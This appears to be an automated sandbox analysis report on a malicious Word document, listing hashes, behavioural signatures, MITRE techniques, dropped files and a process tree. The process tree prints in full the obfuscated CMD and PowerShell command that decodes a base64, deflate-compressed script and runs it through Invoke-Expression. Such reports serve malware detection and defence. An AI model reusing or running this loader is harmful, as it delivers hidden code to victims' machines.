e751449a27a5840aecae530d79ed9de9f619011b85e065006d3ccf5f7b960695

General

Target

33b16ed72fe97d10f60353c1b04a4741_JaffaCakes118.doc
Size

70KB
MD5

33b16ed72fe97d10f60353c1b04a4741
SHA1

34d2283b418274f2d5417194633f9ee9f4a07d19
SHA256

e751449a27a5840aecae530d79ed9de9f619011b85e065006d3ccf5f7b960695
SHA512

bb1a524f20f8ceb9555b0dd07cd5fc0634b21eef44dbb5ee447d1967e7903332b49630f33c1bb2c1e6a153d522258efb3260a85f4a3ceddaef4ddb79117f825f
SSDEEP

768:uj0eVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9vaHRBr/pnus:uQeocn1kp59gxBK85fBt+a9vMJ

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3244	5064	CMD.exe	WINWORD.EXE

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exe

flow pid process

56 4408 powershell.exe
57 4408 powershell.exe
67 4408 powershell.exe
74 4408 powershell.exe
76 4408 powershell.exe
79 4408 powershell.exe

flow	pid	process
56	4408	powershell.exe
57	4408	powershell.exe
67	4408	powershell.exe
74	4408	powershell.exe
76	4408	powershell.exe
79	4408	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

5064 WINWORD.EXE
5064 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

4408 powershell.exe
4408 powershell.exe
4408 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4408 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

5064 WINWORD.EXE
5064 WINWORD.EXE
5064 WINWORD.EXE
5064 WINWORD.EXE
5064 WINWORD.EXE
5064 WINWORD.EXE
5064 WINWORD.EXE

pid	process
5064	WINWORD.EXE
5064	WINWORD.EXE

pid	process
4408	powershell.exe
4408	powershell.exe
4408	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4408	powershell.exe

pid	process
5064	WINWORD.EXE
5064	WINWORD.EXE
5064	WINWORD.EXE
5064	WINWORD.EXE
5064	WINWORD.EXE
5064	WINWORD.EXE
5064	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXECMD.exe

description	pid	process	target process
PID 5064 wrote to memory of 3244	5064	WINWORD.EXE	CMD.exe
PID 5064 wrote to memory of 3244	5064	WINWORD.EXE	CMD.exe
PID 3244 wrote to memory of 4408	3244	CMD.exe	powershell.exe
PID 3244 wrote to memory of 4408	3244	CMD.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\33b16ed72fe97d10f60353c1b04a4741_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5064
- C:\Windows\SYSTEM32\CMD.exe
  CMD C:\WinDOWS\SYStEm32\CmD.EXe /C "SEt LRg= ( new-oBjeCt IO.sTreAmreadeR(( new-oBjeCt io.CompressIoN.dEFLaTesTrEAM( [iO.MEmOrysTreAM][SYSTEM.cOnvERt]::fromBaSE64STRiNg('TZDRSsMwFIZfpReBrMylil7oQmGsQ9jUwqagiDdpdtrUZklJz9bWsne3LSrenu+c7+f85P1lGxqoZzb5BIleDMheIYl0DgY5iaqHkCrEch4EdV2z6rgXRoEumXVZcPv0iGWz+OEpOIEWbSa+mLSHYBv9EtkKY8QBnDy6dmTR8u9MVAqFyURqHdN5CkF8ebdZxot/qUJDmlhbVGgdVKNANQVlz6XOcUIX1OfkrYq80KM3V9eUk912ExIwpznCoZzSDzod+JQyaIDyPgmEVBOSr5SXG2/40u/QtR3p22ArWxttxf4+1zDuXHiD0Odrc7IFzNa9dJzwpPcU/CwFStWdz98=' ) , [sYStEm.io.COMPreSSion.coMpRESSioNMoDE]::dECOMPrESs) ), [SySTem.text.EnCoding]::AsCii) ).REaDtoEND() ^|. ( $sHElLiD[1]+$SHeLlid[13]+'X')&& POwErSHEll ( ^&(\"{1}{0}\" -f'et-ITEm','G' ) ( \"{0}{1}\" -f 'EnV:L','RG' ) ).\"Va`LUE\" ^|. ( ${PS`HOME}[4]+${p`shoME}[34] +'x' )"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3244
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    POwErSHEll ( &(\"{1}{0}\" -f'et-ITEm','G' ) ( \"{0}{1}\" -f 'EnV:L','RG' ) ).\"Va`LUE\" |. ( ${PS`HOME}[4]+${p`shoME}[34] +'x' )
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4408

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4476 --field-trial-handle=2656,i,16940681401824032220,151921362336696246,262144 --variations-seed-version /prefetch:8
1⤵
PID:4524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\413.exe

Filesize
114B

MD5
e89f75f918dbdcee28604d4e09dd71d7

SHA1
f9d9055e9878723a12063b47d4a1a5f58c3eb1e9

SHA256
6dc9c7fc93bb488bb0520a6c780a8d3c0fb5486a4711aca49b4c53fac7393023

SHA512
8df0ab2e3679b64a6174deff4259ae5680f88e3ae307e0ea2dfff88ec4ba14f3477c9fe3a5aa5da3a8e857601170a5108ed75f6d6975958ac7a314e4a336aed0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nsvfjwn5.3st.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4408-48-0x0000026E75E20000-0x0000026E75E42000-memory.dmp

Filesize
136KB

Download
memory/5064-20-0x00007FFCC1390000-0x00007FFCC1585000-memory.dmp

Filesize
2.0MB

Download
memory/5064-29-0x00007FFCC1390000-0x00007FFCC1585000-memory.dmp

Filesize
2.0MB

Download
memory/5064-5-0x00007FFC81410000-0x00007FFC81420000-memory.dmp

Filesize
64KB

Download
memory/5064-8-0x00007FFC81410000-0x00007FFC81420000-memory.dmp

Filesize
64KB

Download
memory/5064-7-0x00007FFCC1390000-0x00007FFCC1585000-memory.dmp

Filesize
2.0MB

Download
memory/5064-6-0x00007FFCC1390000-0x00007FFCC1585000-memory.dmp

Filesize
2.0MB

Download
memory/5064-9-0x00007FFCC1390000-0x00007FFCC1585000-memory.dmp

Filesize
2.0MB

Download
memory/5064-10-0x00007FFC7F3B0000-0x00007FFC7F3C0000-memory.dmp

Filesize
64KB

Download
memory/5064-12-0x00007FFCC1390000-0x00007FFCC1585000-memory.dmp

Filesize
2.0MB

Download
memory/5064-15-0x00007FFC7F3B0000-0x00007FFC7F3C0000-memory.dmp

Filesize
64KB

Download
memory/5064-19-0x00007FFCC142D000-0x00007FFCC142E000-memory.dmp

Filesize
4KB

Download
memory/5064-0-0x00007FFC81410000-0x00007FFC81420000-memory.dmp

Filesize
64KB

Download
memory/5064-22-0x00007FFCC1390000-0x00007FFCC1585000-memory.dmp

Filesize
2.0MB

Download
memory/5064-4-0x00007FFCC1390000-0x00007FFCC1585000-memory.dmp

Filesize
2.0MB

Download
memory/5064-38-0x00007FFCC1390000-0x00007FFCC1585000-memory.dmp

Filesize
2.0MB

Download
memory/5064-1-0x00007FFCC142D000-0x00007FFCC142E000-memory.dmp

Filesize
4KB

Download
memory/5064-2-0x00007FFC81410000-0x00007FFC81420000-memory.dmp

Filesize
64KB

Download
memory/5064-3-0x00007FFC81410000-0x00007FFC81420000-memory.dmp

Filesize
64KB

Download
memory/5064-63-0x00007FFCC1390000-0x00007FFCC1585000-memory.dmp

Filesize
2.0MB

Download
memory/5064-64-0x00007FFCC1390000-0x00007FFCC1585000-memory.dmp

Filesize
2.0MB

Download
memory/5064-83-0x00007FFC81410000-0x00007FFC81420000-memory.dmp

Filesize
64KB

Download
memory/5064-86-0x00007FFC81410000-0x00007FFC81420000-memory.dmp

Filesize
64KB

Download
memory/5064-85-0x00007FFC81410000-0x00007FFC81420000-memory.dmp

Filesize
64KB

Download
memory/5064-84-0x00007FFC81410000-0x00007FFC81420000-memory.dmp

Filesize
64KB

Download
memory/5064-87-0x00007FFCC1390000-0x00007FFCC1585000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads